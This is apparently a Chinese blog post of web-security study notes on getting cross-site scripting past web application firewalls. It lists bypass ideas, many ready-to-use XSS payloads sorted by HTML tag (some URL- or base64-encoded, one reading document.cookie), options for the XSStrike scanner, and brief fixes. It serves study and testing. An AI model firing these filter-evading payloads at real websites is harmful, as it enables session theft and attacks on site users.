网安学习Day20

目录

xss绕过

常规WAF绕过思想

常见WAF过滤的标签

绕过方法

audio标签

video标签

div标签

math标签

button标签

keygen标签

object标签

iframe标签

XSS在线模糊测试平台

xss安全修复方法


xss绕过

常规WAF绕过思想

标签语法替换

特殊符号干扰

垃圾数据溢出

加密解密算法

结合其他漏洞绕过

常见WAF过滤的标签

<script> <a> <img> <p> <body> <button> <var> <div> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <iframe> <object> <input> <audio> <select>

绕过方法

可以弹窗的:alert、prompt、confirm,base64加密,编码绕过(安全狗都没有过滤)

绕过的方法有很多比如:

大小写绕过

javascript伪协议

没有分号

Flash

HTML5新标签

Fuzz模糊测试

双层标签绕过

audio标签

<audio src=x onerror=alert(1)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>

video标签

<video src=x onerror=prompt(1);>
<video src=x onerror=alert(1)>

div标签

<div style="width:expression(alert(/1/))">1</div>    //IE浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv>  //url编码绕过

math标签

<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>

button标签

<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>

keygen标签

<keygen/onfocus=prompt(1);>
<keygen onfocus=javascript:alert(1) autofocus>

object标签

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==   
      解码:<script>alert(1)</script>

iframe标签

<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>

XSS在线模糊测试平台

 https://xssfuzzer.com/fuzzer.html

自动化XSS工具-xsstrike

-h, --help       //显示帮助信息
-u, --url       //指定目标 URL
--data           //POST 方式提交内容
-v, --verbose   //详细输出
-f, --file       //加载自定义 paload 字典
-t, --threads   //定义线程数
-l, --level     //爬行深度
-t, --encode     //定义 payload 编码方式
--json           //将 POST 数据视为 JSON
--path           //测试 URL 路径组件
--seeds         //从文件中测试、抓取 URL
--fuzzer         //测试过滤器和 Web 应用程序防火墙。
--update         //更新
--timeout       //设置超时时间
--params         //指定参数
--crawl         //爬行
--proxy         //使用代理
--blind         //盲测试
--skip           //跳过确认提示
--skip-dom       //跳过 DOM 扫描
--headers       //提供 HTTP 标头
-d, --delay     //设置延迟

xss安全修复方法

开启 httponly,输入过滤,输出过滤等
PHP:http://www.zuimoge.com/212.html
JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html

本文章参考于XSS跨站之WAF绕过

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值